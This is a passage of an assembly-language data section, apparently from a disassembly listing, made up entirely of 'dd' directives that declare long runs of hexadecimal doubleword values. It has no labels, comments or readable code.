		dd 39962F5Fh, 4C1927F8h, 681697E4h, 19F30272h, 0B4EC7C12h
		dd 0DB41C9E2h, 0F52E1828h, 64C3604Eh, 0C17644D8h, 451065Ch
		dd 7CAB0582h, 3C4865C0h, 0AC69582Eh, 79094701h,	0A0F22904h
		dd 0B90081Ch, 0A5AA609h, 0AA122A34h, 0DB671802h, 260C54C8h
		dd 1A5E92CFh, 195D8B99h, 0FDF0F18Fh, 83E59134h,	7AB72927h
		dd 2CF40E9Eh, 0D8680AA8h, 483F73F1h, 20BE1DF1h,	0CB57369Eh
		dd 65A17B38h, 57350B57h, 8E60D1B7h, 1A87796Eh, 0F8931A9Ch
		dd 0FEEE1C3Ah, 0B04D2E5h, 0EFCC6043h, 0C78A3E96h, 0FE12DE55h
		dd 0DCE63BA1h, 0D8650BD2h, 0D29780D3h, 4EF17FA4h, 0F58041B2h
		dd 0ED481E6Dh, 0B527241Ch, 0C580600Fh, 0C7D94CB9h, 0DDC86921h
		dd 0B654AC33h, 99985996h, 0C616EF0h, 0EBD14330h, 77FC143Bh
		dd 0AFE64925h, 25B35548h, 0FFB9A02Ah, 9AA8334Ah, 0FE4E60BEh
		dd 616015Ch, 14C60EC0h,	945DB9E0h, 4CB5205Dh, 19481C59h
		dd 1606F31Fh, 5FD8816Ch, 0C30902E0h, 0AC9BC3DAh, 522D688Dh
		dd 0BB62DC84h, 2E521F6Ch, 0BB8048E9h, 105C755Bh, 8D5B0644h
		dd 7C0DA8CFh, 9A60C28Ah, 0B1462C1h, 5EDF47ADh, 0FAE35213h
		dd 0A843509h, 0D84587D5h, 5677C70h, 3CE92C28h, 125997DAh
		dd 8DCB1269h, 0BC3030ABh, 5AFC200Bh, 8CA98EF7h,	388030F5h
		dd 0EA7366EBh, 11F4EBC3h, 9239350h, 1F90353Dh, 0B87279A1h
		dd 0ECE890BDh, 47D5075Ch, 37D6F74Eh, 5ED84C56h,	7174DACBh
		dd 277C42C0h, 1E40A256h, 9157164h, 2D59C809h, 0A035BAE8h
		dd 331D1AC9h, 0AAC69B25h, 9DB7C4F7h, 0ED50E8A5h, 7DFC92B4h
		dd 0AC92E66Eh, 93C2CA3Eh, 813C19Dh, 0B86F7204h,	0F63421AEh
		dd 41536154h, 582F3509h, 515C665Fh, 1A4F1858h, 4A4EB1Dh
		dd 4B3D2E09h, 945DC1D1h, 54959D0Ah, 763927C9h, 7355828Ch
		dd 775420F7h, 0F8ED1A3Fh, 7E40617Dh, 1EDA2BBFh,	49E8D02Bh
		dd 18AD382Dh, 0E70F1222h, 88087273h, 60F05064h,	0DA963EB8h
		dd 68160A22h, 0A0F318A4h, 9C011E40h, 0B4A28B99h, 190BBB20h
		dd 31011732h, 0BD555BD9h, 0D821791Eh, 1F7B88C9h, 0D3F8254Ch
		dd 0E961C034h, 0CB2FBEB5h, 2645B35h, 18ECD254h,	54EB514h
		dd 0CF151ECCh, 992890Dh, 5EA79910h, 165DF648h, 4002E1F2h
		dd 0D4D53142h, 4B6F0169h, 0DA011595h, 801B642h,	64F2AFE9h
		dd 9D16BE55h, 0FC007548h, 0D016A1E6h, 985D9006h, 86C606E6h
		dd 125FD903h, 1C660848h, 0A6809750h, 55EF001h, 0D4E17F4h
		dd 1B0E09DDh, 8683E656h, 5D5F6E8h, 30732C08h, 0FA6D19C7h
		dd 828A1702h, 0A02CF80Fh, 0E868665Bh, 992AE95Dh, 3F313C3Eh
		dd 0FBA9670h, 87B31931h, 0BCC6EB20h, 82576496h,	0EC58FB2Ah
		dd 61F1F625h, 608BCC2Ah, 9B4B7DBDh, 26C91958h, 5F13E651h
		dd 0E1B9F9F0h, 0D3E4A3A7h, 0E6B5CFEh, 26337A14h, 0CD0242B0h
		dd 7C68C01Fh, 608D0D4Eh, 95D0A6F8h, 0BE25F11Bh,	0ACDAED56h
		dd 0C9144A17h, 0E1B61BE8h, 72E6801Ch, 0CE61FCF7h, 66CCFE11h
		dd 1B71D53h, 5B26FB28h,	0C3271D5Dh, 81B252F3h, 5542CADAh
		dd 54093ED6h, 80EE4C58h, 17450535h, 84362918h, 40712E1h
		dd 40027A59h, 8263EDEAh, 636DF63Fh, 3EB3E0AFh, 7652EBB9h
		dd 4BF89FDAh, 9BFFCD4h,	6D61DD72h, 58E3C059h, 6B0FB398h
		dd 0E419B151h, 0F290E254h, 2770DEC1h, 8FCB3F21h, 0B2F433F9h
		dd 563DE01Eh, 63E20E28h, 6250CA67h, 55CE0FF2h, 667FDB67h
		dd 68D9E2C1h, 52C20A85h, 51A00F74h, 362B89BEh, 0C1097554h
		dd 0A1A1E3E9h, 0CBFEA5A3h, 87C4FD9Ah, 2D81B31Fh, 0C7E92725h
		dd 5FDC093Fh, 5C40FB59h, 7568E9F7h, 0DC329DE3h,	0AEC8F68Fh
		dd 58C73104h, 6F4439AEh, 1653B361h, 37901428h, 2C68455Fh
		dd 3CEAF2E4h, 0BD449851h, 5815F12h, 90A3E6F1h, 0D892D54Bh
		dd 3925E951h, 0F0C364E0h, 245B686h, 0CABA840Fh,	547F0EADh
		dd 0A356C066h, 42285736h, 0F20AD849h, 9E0BDB61h, 0E80D6F03h
		dd 0EAC9E037h, 53A3D59h, 816134A7h, 8BF0A958h, 0CFEDFC53h
		dd 512FAED9h, 60F3019Eh, 3B090537h, 115E33AFh, 4825A3CEh
		dd 0C1DA3A38h, 5472A454h, 0B607C3AAh, 4B3E6143h, 954B8BE3h
		dd 0E76804CCh, 0BA4A90ADh, 33700C97h, 42D2F712h, 0F3659A03h
		dd 1916FDCCh, 1796D5D1h, 0D9BCBA01h, 45FD291h, 9084015Fh
		dd 2C519C1h, 1D2DE3Ah, 68F1F766h, 0D93A551Fh, 85DF6DF8h
		dd 0F6EC2615h, 4DE60B9Eh, 0B327E471h, 0CA124AF5h, 0F5E31149h
		dd 0EB027F0Eh, 0C064F256h, 0FA14D7E9h, 183A9022h, 0CF21813h
		dd 6A16C4E1h, 5580073Eh, 102BBAE9h, 4001C729h, 461E04E3h
		dd 0C3493779h, 0E1597653h, 667FD968h, 36080BDAh, 0F67E00A5h
		dd 60321C02h, 2A0E0C27h, 29177D97h, 838C5EF3h, 0A41EBE86h
		dd 434C0925h, 133F81E7h, 7FB716E2h, 3631317Bh, 4D080D8Dh
		dd 0EFF92097h, 40CD0F5Ah, 68525487h, 2246310Ch,	0D109205Ah
		dd 1C013C92h, 0E9448CA4h, 4F6EE79Bh, 4162C6E8h,	0CFC048D8h
		dd 0CF3067A6h, 251D0C52h, 0E03A6079h, 10010506h, 0D82C5AB6h
		dd 76704A09h, 0E9745AF3h, 60D186Ch, 294D6871h, 0CF5BB2CBh
		dd 1A930790h, 0C762559Bh, 660076Ch, 981B112Dh, 65684609h
		dd 79A7C40Dh, 6D760055h, 0E95D5FA9h, 8FB34CE0h,	0F9290A0Bh
		dd 3512782h, 407E64A5h,	204B950Ch, 63DC31F5h, 880EC74Eh
		dd 37E4E2DEh, 1CF75001h, 9E00993Bh, 39A81414h, 0D1D58C30h
		dd 1778E5F5h, 1621AABCh, 0B27C0130h, 751CDC22h,	10033C6Dh
		dd 5F2DD28Bh, 973F0B45h, 488D0E6Ah, 0B6005362h,	1EE8071h
		dd 0FE0BD6F6h, 2952E9C6h, 90661404h, 29B0009h, 0DAF74E0Fh
		dd 289299E9h, 3DBD5502h, 407DB901h, 3B7AEDF5h, 97515CAh
		dd 5B1422F9h, 652C49C9h, 2852E598h, 25310665h, 51BA1B9Ch
		dd 8A2B07EFh, 575602A0h, 90F2895Eh, 0B93B2E93h,	2F17AB2Eh
		dd 5EB21E9Ch, 7125E194h
		dd 0CE9E28Ch, 0E3C1BFE8h, 0F3810500h, 11A1623Bh, 169AE34Bh
		dd 89001D04h, 0F5F41CBBh, 6091E918h, 1E74C77Dh,	0C93D1D29h
		dd 0B42007B3h, 48AA6685h, 3AE6C7A1h, 0BB849B34h, 8AB4F290h
		dd 0F6CC00FEh, 0CFC480DCh, 0C018E4D0h, 931007ECh, 1DE74908h
		dd 0EBF80793h, 0BAEB494Ch, 0BA07B58Ah, 5FC16BE1h, 16E2DE30h
		dd 0F2B70E5h, 14C0EA6Eh, 61E911B1h, 422EDC60h, 0C904E2C1h
		dd 8D5E024Eh, 880BD469h, 325CF58h, 1347510Fh, 456580D9h
		dd 0F807672Ah, 838BD336h, 9DF9976h, 6295B68h, 1B9A3A02h
		dd 47B45000h, 43B62452h, 0CE1F1C4Dh, 0F401BDC6h, 2FEC865Ah
		dd 588F79C1h, 81DE0100h, 7FD5EE02h, 7D5B2755h, 0E07459A4h
		dd 809DF7B0h, 843C5DE1h, 0D339011h, 44991E5Ah, 3272E18h
		dd 49285160h, 0FA292FB8h, 0EE5DB3A2h, 5C1697F1h, 592DA7B3h
		dd 3807D22h, 1F507EBBh,	7F17DC14h, 0D740078Fh, 0E935740Fh
		dd 0DCFF5A41h, 5329506Bh, 228D9968h, 292025E6h,	0B5B4B866h
		dd 135CF38Ah, 69830C02h, 0D1D8B02Dh, 257D7972h,	8351185Fh
		dd 0EE59E304h, 0F93B4181h, 0B880A37Ch, 21C95E54h, 31E8D126h
		dd 9E0DCC02h, 1955810h,	82BCF52Dh, 22C68921h, 69AD3F5Ah
		dd 0B066F86Dh, 67C025EAh, 70A8462h, 135A3F1Dh, 9273A754h
		dd 0DF1C99F9h, 70666D68h, 5165B0B3h, 88E69534h,	3A3EE05h
		dd 0CEC280D0h, 0BFB4CAE9h, 0CF2FA12Fh, 9A434A6Eh, 9C0870CCh
		dd 96C68114h, 606CE45Ah, 9D049451h, 78E9AD37h, 0BB0A5DFFh
		dd 6CE267A5h, 0B121FF6h, 7CCBE4C5h, 693C321h, 0BFCAEC21h
		dd 0C17AB0DFh, 90057EEAh, 0EB1DC0FAh, 3F3243FBh, 194D7CF6h
		dd 27814C7Fh, 0E2A1E3C3h, 77ADC55h, 325FF829h, 6D6158C6h
		dd 3FD5C9F2h, 36BEF134h, 370944DBh, 89132BE1h, 0F57C82D5h
		dd 42EA4264h, 590800D7h, 5FE9EB29h, 836E5FF3h, 0B3F446Ch
		dd 26063800h, 6DE921E0h, 0E720BDB2h, 0E8556A68h, 0A59172Ch
		dd 0DF54F601h, 9941291Dh, 343B6074h, 12EBB936h,	0BDF82691h
		dd 5D01AEC1h, 0A4413E59h, 5E6D48BEh, 3FB0B7Bh, 0D75EB952h
		dd 0B8609294h, 0CBC0B60Fh, 2D4C871Ah, 0F5155694h, 0DD54AC1h
		dd 5B8B6BA9h, 362AD4B8h, 0EB8C4EA4h, 74BC102h, 76EB0156h
		dd 0BD7F010Ch, 0EE17E941h, 38FFA055h, 0F729E1h,	5BFE05D8h
		dd 0A35400Fh, 37A1D38h,	0DB20E80Dh, 2D220F6Eh, 8101C0FEh
		dd 3A58C701h, 203A2Dh, 13E91330h, 7084D7A8h, 0C13F7F68h
		dd 7E06EE24h, 0EFB35802h, 0CFE185E5h, 98C95DFCh, 34A8A15Eh
		dd 4AD470B5h, 2EAFF113h, 0A2CABF95h, 85D65F7Eh,	34CC8AB8h
		dd 9DF80C83h, 2AE2538Bh, 646FCEFCh, 4FF50EA0h, 0D9010381h
		dd 0C8D78853h, 59525B39h, 0F86828E7h, 0CE25E0BBh, 9FE92F9Ah
		dd 0FB56F80h, 0F630FD86h, 0F58008D7h, 0E8281C58h, 4933959h
		dd 50AFD2A8h, 81D6EEE2h, 0F65D2F40h, 7BC59F73h,	0B22B1688h
		dd 0C456563Ah, 5EF1244Fh, 0A0303EE1h, 142BB63h,	65CD7AF2h
		dd 4EC44026h, 0E9A08829h, 2063FC6h, 0D60150BDh,	4008831Ch
		dd 2FE9141Ch, 0DCC9CDC3h, 759E692Dh, 0E0041CF4h, 0EFBE94Ch
		dd 99EE1E8h, 36F9BC12h,	3E696884h, 0E913D3E6h, 222AB119h
		dd 54681CB4h, 5F2D9A07h, 7F431BF2h, 3579843Ah, 3D91ECE4h
		dd 0B5E44404h, 61B7A25Eh, 583E3B4Eh, 1E74548Ch,	0DA076082h
		dd 27F22528h, 2B132758h, 67ED0E6Fh, 4EE90840h, 1BF3160Fh
		dd 0E4CAB26Ah, 214AC4D8h, 48705BA2h, 9CE445EEh,	0D641B5B5h
		dd 0E04A8526h, 0F805640Dh, 255A687Dh, 582074CDh, 0EC5604DFh
		dd 0D4CBE969h, 0E32CBFF6h, 1DB06992h, 0EF420A09h, 0FBC10C7Ch
		dd 0A76CF7E9h, 64C96809h, 7A8454D1h, 0EEC7EB59h, 791435C4h
		dd 45865439h, 5BE8315Dh, 5959517Ah, 0FBC9D298h,	67A1260h
		dd 5B06665Fh, 4901FE4Bh, 0E91058AEh, 8A3FD5A9h,	0D9891392h
		dd 458BD65Dh, 0CBF2D109h, 0D101E06h, 7AE0214Bh,	63E083E6h
		dd 60E36573h, 0A8A0065Ah, 596521AAh, 0FCA8FCCEh, 7C9FF64Bh
		dd 0FA171425h, 81C67934h, 0BA54DE58h, 28820B15h, 0C40AC140h
		dd 834BFF02h, 94F3B520h, 18A0C2C7h, 0EDD21DF0h,	38B42467h
		dd 50848A5h, 0A43DF2E9h, 1103D9DEh, 0CF0118A4h,	6EFC359h
		dd 1FC5A8B3h, 69F19FEh,	0A0F1756Fh, 947B053Dh, 0A55F42A7h
		dd 0A6F27609h, 29243C8Bh, 0BA066FFAh, 2CE81054h, 76705F02h
		dd 605AD731h, 82338B66h, 2DCD941h, 890D5459h, 34C63DC1h
		dd 802DEB20h, 58CFE885h, 0EE279EB1h, 4F0F0958h,	27DF439Eh
		dd 0D094E9D6h, 0A6CBE2BCh, 0E78870A0h, 89246858h, 86653B21h
		dd 2001A683h, 80BF0A74h, 0F420C5CDh, 40239879h,	500CB9D9h
		dd 742F5302h, 236E0A16h, 0C24A59h, 0E343FD9Dh, 0AC4991E9h
		dd 3D10609h, 94827B7Ch,	48C28080h, 161E14Ch, 8D48895h
		dd 0F1685E02h, 0E94DA20Bh, 0EC904BEFh, 0DAA655EBh, 0D45BF090h
		dd 0E9F802F9h, 3CFEE5FAh, 0ECC7E153h, 61FBD552h, 1352540h
		dd 13D88B2Eh, 0EF355422h, 0A3A9DF64h, 97344E50h, 0C4215204h
		dd 6916FAF9h, 0F898430Bh, 47829D1Ah, 18426102h,	83DC1C3h
		dd 348B97F3h, 2AE917D8h, 3A415Bh, 633F8DB9h, 79F1814Eh
		dd 6A5F2A19h, 0D642070Ch, 0E8555262h, 46182651h, 74EC029Eh
		dd 28D77EFBh, 59170893h, 0C80FAB21h, 0B37B2830h, 0A3FC0BDFh
		dd 4A9E34E6h, 27685750h, 0ED510EA9h, 0AB5E5284h, 0CB13C6C2h
		dd 0F54D79Bh, 4C6B31BAh, 4A4E3610h, 2BF387D0h, 2B4F5CFDh
		dd 0F06DD15Bh, 0AD08E05Eh, 5C5A4A9Fh, 983D1DDFh, 4A890C5Fh
		dd 4E3CCC2Eh, 16DFF915h, 2D241DE9h, 5D8C09BEh, 42028C50h
		dd 0E96B9359h, 270B545Ah, 0D3503106h, 8E48FC96h, 255B9E2Fh
		dd 0CD40F9E9h, 1D0FF3BBh, 6457422Ch, 2896A637h,	7ABA00EAh
		dd 68506351h, 0E99B3DE2h, 941AF102h, 90A8815Ch,	13209E03h
		dd 0F66FD63Bh, 0F0A24F8Eh, 0C473EFCBh, 2DE138AEh, 50CD3F28h
		dd 0FC1882D4h, 0C105BD1Ch, 31ED4ED9h, 8CD99DCh,	5815665Dh
		dd 894E257Bh, 95A2E423h, 227C430Ch, 3F1A3274h, 0A98D701h
		dd 5384C308h, 0E6FC23E9h, 0E4C38004h, 126FAC88h, 7DB41C16h
		dd 5A18782Fh, 777EE426h, 0FCD2B14Bh, 1F57605h, 833CCABFh
		dd 3BC13F74h, 0CD55F921h, 38F94756h, 0E3E758C9h, 0E93CE82Dh
		dd 3E3B440h, 8107EDC1h,	0CE4E8D98h, 0F5017C76h,	0A8E5085Eh
		dd 1920EF89h, 30E07DE7h, 1DE6523Fh, 97F3376h, 3AE9F817h
		dd 16C3C8E4h, 0B3D6D0Eh, 4C2C5h, 0B35303A2h, 5C1FC272h
		dd 85C7800Dh, 293A0507h, 60A8FD4Ch, 6B17FBC2h, 2404873h
		dd 122AB010h, 19A1EA89h, 0A8B5E36Ch, 77885FCDh,	1F0EBD54h
		dd 0F266E304h, 0C10228F7h, 0D8301016h, 598BC3B9h, 5C5CA950h
		dd 0CA68C4FAh, 913D695h, 7A052BF0h, 59B13DBDh, 80C1B925h
		dd 0F8CC835Eh, 0E1300B6Eh, 0EE34D156h, 1FBC2E3Eh, 12DA1FD5h
		dd 43484C3h, 0CD42E6F0h, 0DA5E6830h, 4F225DAFh,	75D3CA58h
		dd 96E46E09h, 1952A0DFh, 383392E3h, 0C83D5BF1h,	8BA36F2Eh
		dd 60D35759h, 2A954569h, 6837C2EEh, 0BE6C4283h,	0E1385909h
		dd 2C967875h, 6D3C3331h, 28AE35DEh, 0A1D7DE6Eh,	30B0AA27h
		dd 0B5D77AD3h, 24E08140h, 0E4332FABh, 0F15A105Fh, 9D2F5C0Eh
		dd 9055CA2Ch, 80A12F78h, 0FE0F2C0Ch, 64D0F6C0h,	42AD0DCCh
		dd 0C69FC9DEh, 5848F544h, 0F12325ECh, 8A6EAD0Bh, 7E30258h
		dd 493303B0h, 861E2F7h,	0F86979D5h, 9630E450h, 1042EAFBh
		dd 49C14AA3h, 0A804BA4Dh
		dd 0B6A08484h, 0DEDEA5A9h, 649AE6CAh, 6362BA54h, 0A6B5C051h
		dd 45800009h, 7F700DB9h, 0F9582977h, 0F68B10D9h, 1EE6D116h
		dd 7E14C1FCh, 8FF02144h, 1855E94Bh, 1287EFAFh, 6F130Ah
		dd 0BC4F1BBCh, 0D805F743h, 6DDA2D40h, 0C7016DC1h, 0D2DEF142h
		dd 4041968Ch, 423281DAh, 7F846E17h, 8E5818A3h, 0EF200300h
		dd 1C6814Fh, 0B010E01Dh, 84E9F705h, 121F9954h, 3C66CF87h
		dd 9258260Dh, 75D5109Ch, 0AD2A0FAh, 3CDED37h, 0D564A131h
		dd 0E4759C50h, 21D30CE8h, 6EE60581h, 75A277Ch, 0D4366D8Fh
		dd 1386EC29h, 4D4EE7E9h, 80E5DD55h, 3E12BDE8h, 0F11C4A65h
		dd 3757D429h, 0C9DD0122h, 0A18B5B11h, 1BE5B600h, 2F58F835h
		dd 0E5A541E2h, 0AFE9F010h, 0CE76543Fh, 0FAE225A1h, 96F70236h
		dd 5961FA4Ah, 9C323ADCh, 69055E02h, 1E248409h, 2E3D366h
		dd 7D308CADh, 0EAE31163h, 0C78CF855h, 0A0D64889h, 870A3124h
		dd 3B58C230h, 515C0177h, 0CBC1C5B1h, 7E240361h,	0A0439D01h
		dd 0C31688CCh, 550322BAh, 37168CBDh, 43D8004Eh,	8111DF4Bh
		dd 1D0409C9h, 0DE93A57h, 8D0412FEh, 77902A60h, 0BD38E9DBh
		dd 1B76D489h, 5928A4EFh, 57F52992h, 4CBD9A96h, 24594A80h
		dd 0DF4BC056h, 3112637Ah, 300BEF83h, 45A900D7h,	0B5385779h
		dd 7C61882Eh, 1F8C21h, 489D391Ch, 0B405684Bh, 0F06C1B27h
		dd 209EDBCAh, 2DEB870Fh, 328208D5h, 0FE514FFBh,	0C9DF7041h
		dd 3C353EFDh, 4320A3A8h, 173D5948h, 92618702h, 680051D2h
		dd 779B1C8Ah, 3A28F708h, 0AD9EC997h, 56E11F45h,	53C24B96h
		dd 0E1AF755Ah, 0F15EA449h, 0CFE95C12h, 7A3FAA8Dh, 15DE7A06h
		dd 0C42FFE71h, 16EFE561h, 5D220D90h, 857501Eh, 3B7C04F9h
		dd 0FA5C0154h, 0C12A434h, 1DC5B708h, 0E3581201h, 4AD2CA45h
		dd 654E6011h, 4878B123h, 7826E97Ch, 0C18F86FEh,	0F8B10A02h
		dd 88408992h, 9C5ECBC3h, 0F3289735h, 0CE1A2D08h, 89C6376Ch
		dd 4486C83Bh, 1C945F1Dh, 4875E9F8h, 0F8D33530h,	10FA75DEh
		dd 8C16B62Eh, 5BBFD1Ch,	712668B7h, 0E937E537h, 5D59CF51h
		dd 0BFA452D4h, 362105A0h, 8BBF0F94h, 0BE3FE688h, 4AFB279Dh
		dd 0A14EAA0Ch, 0B23562EDh, 0C2EB211Fh, 4FE60AB0h, 27B80B48h
		dd 0A1FE51Bh, 97F2A6EEh, 234A25EFh, 274AD6E8h, 56F5FCC2h
		dd 42BE1C79h, 1209892h,	0F93BCDD0h, 59376503h, 25681BF0h
		dd 0DB1928DDh, 7BB93010h, 791AC8A0h, 0B4535224h, 0A15A502h
		dd 5BF9C321h, 0AA6703A3h, 1810ED6Dh, 0AD0B500Bh, 8132D831h
		dd 6D53E141h, 0EF5E96A0h, 64C75B80h, 4BE94159h,	9E691692h
		dd 6F5226A7h, 0C9DCAE27h, 109D28B5h, 51409F2Ch,	49DF6853h
		dd 684CC47h, 2929AF08h,	0B75AA5F0h, 9F20B146h, 90FB056h
		dd 1501696Eh, 5D38F778h, 70102D20h, 0FFD2B044h,	0E3027F29h
		dd 1D6531F7h, 19F1140h,	89B058F2h, 374AAAB2h, 8813A912h
		dd 0C3A011BDh, 9C60AEE9h, 3B08682Ah, 5A422770h,	0CA078FF8h
		dd 373F2017h, 5F91C260h, 0E9B90BADh, 0E722ED3Eh, 0A1C1E289h
		dd 7DA74E1Dh, 0ED09D44Bh, 0E50FD166h, 0F842254h, 0A2A5A95Eh
		dd 45E5A6Eh, 0FF60EB5Bh, 0B3252C3h, 0FB012588h,	28081688h
		dd 0D35F826h, 0F3293FC5h, 5E08022Ch, 25CF16DDh,	0D271B48Ah
		dd 964752ADh, 5C5353D1h, 921C2FF8h, 7CB2DD5Fh, 56028648h
		dd 155AA1Ah, 22A6211h, 685C290Ah, 82C47AC6h, 720516E1h
		dd 982D024Bh, 0C1D04886h, 6534C718h, 27E93958h,	62977EDCh
		dd 8020A519h, 965A33C3h, 0C588626Fh, 7DD6BEBAh,	7E54D509h
		dd 0A09E64E5h, 8C000597h, 403D4548h, 3B1ABA25h,	35006029h
		dd 26E81219h, 5809C609h, 7E215D68h, 27096E85h, 21B08944h
		dd 140A7727h, 455620FAh, 50F0212Eh, 0C5B5C322h,	0BC92BF98h
		dd 207DE5D7h, 381F326Bh, 684B706Ah, 0ED497656h,	0AA943B07h
		dd 4A55AA8h, 4036FFA4h,	5AA88FC2h, 9C8948B5h, 8B0DE226h
		dd 0BB04D0F7h, 4DB60024h, 975AF588h, 0A7237F03h, 795D9227h
		dd 31E34DD1h, 0E903F2D4h, 0D2F7DCC8h, 0DE988C5Fh, 0C24641B6h
		dd 0D0295E58h, 9C6E40F2h, 242D305Ch, 7B6955CFh,	0AF0F4286h
		dd 0BF0A17F9h, 67ADAD9Ah, 74E9849Ah, 0BB38AB39h, 0D7E98087h
		dd 89908B92h, 9B1BB20h,	53746859h, 7B7B3B0h, 0EAD81895h
		dd 30F43E84h, 8C497C96h, 80B5335Ch, 0BE2548CEh,	760C026Fh
		dd 86A0E35h, 25721E2h, 41E7030h, 2FCD8257h, 0CB96D7D9h
		dd 545FFB49h, 0A05413BEh, 0DD3988F0h, 1528A85Bh, 2F9C7120h
		dd 5751D529h, 64C0FE0Bh, 0C47C4ACCh, 0FE69BAA4h, 623E4821h
		dd 67EA366Dh, 0B7F1C929h, 0F3C889EBh, 27CCA442h, 0E9248A96h
		dd 40A61707h, 892ECD27h, 0AE541487h, 42CE05E9h,	41722F98h
		dd 4A545A4Dh, 99AB6891h, 0E5C16650h, 0C2515802h, 0E220A425h
		dd 725D05EBh, 0F3A9DFA2h, 9786B596h, 6800944Ah,	0EB80BCB3h
		dd 764D9825h, 0AAE33201h, 41611C12h, 875F0108h,	25684B48h
		dd 6BDA6A80h, 0B450520Fh, 0ABCC4423h, 0EC04CFE8h, 0F07BE9B7h
		dd 37EC481Eh, 84BB8BC9h, 0B1C218B2h, 5C56CAD9h,	0E56ACC4Fh
		dd 5B674006h, 4AFD2DE9h, 3BBA8F5Ch, 2A68C00Bh, 4EB53EA7h
		dd 48230034h, 1F62A32Dh, 3EF08C5Eh, 7D4D4C4Fh, 6859B530h
		dd 94933F36h, 143C0508h, 1A84FB54h, 7FA1450h, 0DFF696FFh
		dd 5DB51B2h, 0F55D0B5Dh, 68850874h, 18E251A6h, 0B26AA44Eh
		dd 1A850B02h, 0B2BE6E9h, 79967D78h, 3322942h, 0E0E6385Ch
		dd 8098AC20h, 847087BCh, 0E2B15103h, 985DF180h,	3CC09BE9h
		dd 0C19805E1h, 888E06C8h, 0FC27CF7Dh, 12E472CDh, 0BE22859h
		dd 0D3D9D9E0h, 4B56668Fh, 95BB5821h, 45BD196Eh,	594013BCh
		dd 0B8333687h, 0D9E8251Dh, 939717EBh, 479DA66h,	4E30482Dh
		dd 5916F6F7h, 8B6E23Ah,	0E9D78809h, 0DCB4E2AFh,	0B142CCB9h
		dd 4575F84Bh, 1EA80F80h, 0C7C606Ch, 2E97301Fh, 0B52BE912h
		dd 0A92A0AA9h, 365B4A8Dh, 0CE4E6CDDh, 0BC213EDCh, 12EA102Ah
		dd 0EF715159h, 0DA28476Ah, 0A51DFAA1h, 0A0C6E40Ah, 0C125026Bh
		dd 2C7BC12Dh, 8AC03F4Dh, 60413B2Eh, 6B3C1831h, 47BC57EFh
		dd 278DC281h, 502A35E2h, 5E16081Dh, 87900421h, 0F3061D4Dh
		dd 8008D6F7h, 24FB54ABh, 2712AD15h, 0BCED2723h,	313DF7F0h
		dd 15DEF0Bh, 448705FAh,	0C0096260h, 5A84780Fh, 28D74938h
		dd 155FD421h, 0CBDB6022h, 0E12F7C9Eh, 2230E378h, 2B06C351h
		dd 47F9D828h, 694B3E31h, 562362DCh, 0A65FC40Dh,	1EEB0326h
		dd 0E60AD64h, 2913300Ch, 0E9082A5Ah, 190C3408h,	1B38814h
		dd 49305FB4h, 5BBDF4E4h, 53B5329Eh, 0F1A913CAh,	1A77179h
		dd 5E9E051Ah, 7646E32Ah, 3E95E201h, 0B850776Ah,	0C0A04D8h
		dd 58C23156h, 48301083h, 0F230C05h, 1201A34h, 809BAD3h
		dd 0A9294B89h, 2F4B88D6h, 0CC4BA682h, 0D3B904A4h, 801D9548h
		dd 4E3C5802h, 0BB803D5Bh, 0B0C44469h, 0B65120F4h, 9B1FE0BFh
		dd 0F7D68296h, 9D5E646Fh, 0F9A53E4h, 81226D19h,	13034E82h
		dd 0B0C9A281h, 8262C94Ah, 687BE05Eh, 7E914228h,	88C4691Eh
		dd 0EC9A47B0h, 5F00FAF4h, 0C21D702Dh, 0D0D0297Ah, 5030868h
		dd 270C1F2Eh, 0DDC8AAACh, 86A8A801h, 0E91492E1h, 0B2BF131h
		dd 7505ACB7h, 213D5641h, 6B362D12h, 0A35AD7CEh,	6AB44F67h
		dd 4E142668h, 8548696Dh, 0C08219A4h, 8351718Eh,	350C3AD9h
		dd 9C02BC4h, 5F3F0EF7h,	0C9C1337h, 77F3D414h, 0F7F3CCBDh
		dd 3FF0F2E6h, 0C19F478Fh
		dd 1F02E46Fh, 210E434Fh, 174C153Ah, 17AC1778h, 1921788Ah
		dd 795B708h, 0F9796855h, 63A565D1h, 9DD884ABh, 31355ECDh
		dd 6F5801CEh, 0D8B28777h, 0BA8443Ch, 51E40B31h,	0D9108102h
		dd 50797C0Bh, 0A9835477h, 372B956Eh, 0BCCCE48Eh, 11B14B65h
		dd 29EA297Eh, 0C2652A22h, 0D2C15C2Ch, 32A5D02Fh, 0C83FE405h
		dd 98C0DD84h, 777A68CCh, 0F4697BC4h, 48E3BD13h,	28810E25h
		dd 0CBBABCC3h, 0B7F8D8h, 0F6CFFE05h, 95EF80D7h,	888A06C7h
		dd 52665BB1h, 832B5CF5h, 76F75AC2h, 3812480Ah, 0C4715E9h
		dd 0FE29C188h, 545925CCh, 0C934C172h, 0EFC48000h, 58E18818h
		dd 2C080F8Eh, 1CC35BF9h, 0A1C814B9h, 0AAF8C4C9h, 2697E5BDh
		dd 94B5099Bh, 64EF1AF4h, 0B80F1507h, 47DF7A01h,	0B5AC32Dh
		dd 5B016EA0h, 525B30F8h, 6C046368h, 4A5A1CB6h, 0DA4067D7h
		dd 4E94E923h, 7BAD31F7h, 853B57C2h, 570FE022h, 3E007798h
		dd 0BF176925h, 30612DA6h, 8174291Ch, 0F369A7EFh, 22ED78FEh
		dd 7C22AB97h, 78D18279h, 20773995h, 0DEFF82DBh,	0E5972C4Ch
		dd 954169Dh, 3728B394h,	4168E110h, 0D0CC6B38h, 0B89DF631h
		dd 1FE917D6h, 3355A53Bh, 0FA9E2EC6h, 7F83AD82h,	97CF620h
		dd 0D65A3C8Fh, 0B128FC00h, 46E38109h, 76BC0961h, 2E50DBE9h
		dd 3C51BA0Ch, 0BC2FAEDh, 327C2094h, 4F260E00h, 60977F7Bh
		dd 139CF231h, 104D8223h, 0D52E8B48h, 5BDA5827h,	4009ACCBh
		dd 2FCBFD6h, 4F495A73h,	0AF80D7F7h, 2AAA45FBh, 0F0409724h
		dd 0D5F68930h, 68ED0CD0h, 1ADD220Eh, 43EBE241h,	0D0589418h
		dd 0B0A9B27h, 8CBE65CEh, 93417C1Fh, 900BFC46h, 4DA32502h
		dd 3FE091A0h, 0CC14B2Bh, 4F0794CAh, 5A5E4270h, 0FAA89529h
		dd 0AE345E20h, 5E009C0h, 0D907392Ch, 946FF458h,	63D981B3h
		dd 0D03D6848h, 5F936491h, 191C58BEh, 5580D9FDh,	4DBE1C56h
		dd 810DFB17h, 2A0D49F6h, 0EB01EAC1h, 7F0C923Fh,	5200C27Ch
		dd 0C6FE6EB6h, 80E63AD0h, 2AD7E77Eh, 0BEC4DF82h, 92539FBFh
